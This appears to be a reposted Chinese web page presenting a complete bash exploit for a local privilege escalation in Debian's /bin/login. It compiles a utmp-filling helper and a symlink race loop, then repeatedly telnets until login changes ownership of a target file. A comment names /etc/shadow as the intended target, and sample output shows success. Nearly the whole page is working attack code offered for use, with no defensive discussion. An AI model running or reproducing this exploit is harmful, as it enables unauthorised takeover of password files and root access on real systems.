linux bin login,Debian Linux /bin/login软件包本地权限提升漏洞

#!/bin/bash -

echo '

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

#include <utmp.h>

#include <sys/types.h>

#include <stdio.h>

int main(int argc, char *argv[])

{

struct utmp entry;

int i;

entry.ut_type=LOGIN_PROCESS;

strcpy(entry.ut_line,"/tmp/x");

entry.ut_time=0;

strcpy(entry.ut_user,"badguy");

strcpy(entry.ut_host,"badhost");

entry.ut_addr=0;

for(i=1;i<9;i++) {

entry.ut_pid=(pid_t)( i + (int)getpid() );

sprintf(entry.ut_id,"bad%d",i);

pututline(&entry);

}

}

' > /tmp/fillutmp.c

cc -o /tmp/fillutmp /tmp/fillutmp.c

echo 'Ask someone with group utmp privileges to do:'

echo ' chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'

echo -n 'Press [RETURN] to continue... '

read ANS

echo '

#include <unistd.h>

int main(int argc, char *argv[])

{

while(1)

{

unlink("/tmp/x");

symlink(argv[1],"/tmp/x");

unlink("/tmp/x");

symlink(argv[2],"/tmp/x");

}

}

' > /tmp/jigglelnk.c

cc -o /tmp/jigglelnk /tmp/jigglelnk.c

HOST=`hostname` # or simply localhost?

echo "Which tty do you think a 'telnet $HOST' will use next?"

echo "(Do that telnet and see...)"

read TTY

echo "You said it will be '$TTY' ..."

ATK=/etc/debian_version # should be /etc/shadow

echo "Starting symlink re-jiggler ..."

/tmp/jigglelnk $TTY $ATK &

JIG=$!

LOOP=0

while :; do

((LOOP = $LOOP + 1))

echo; echo; echo "Try = $LOOP"

/tmp/fillutmp

echo "Telnetting... if login succeeds, just exit for next try..."

/usr/bin/telnet $HOST

LS=`ls -ld $ATK`

case "$LS" in

*root*root* ) ;; # not done yet...

* )

echo; echo

echo "Success after $LOOP tries!"

echo "$LS"

echo; echo

break

;;

esac

done

kill $JIG

rm /tmp/fillutmp /tmp/jigglelnk /tmp/x

# ...

# ~$ logout

# Connection closed by foreign host.

# Success after 12 tries!

# -rw------- 1 psz tty 4 Oct 28 2006 /etc/debian_version

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值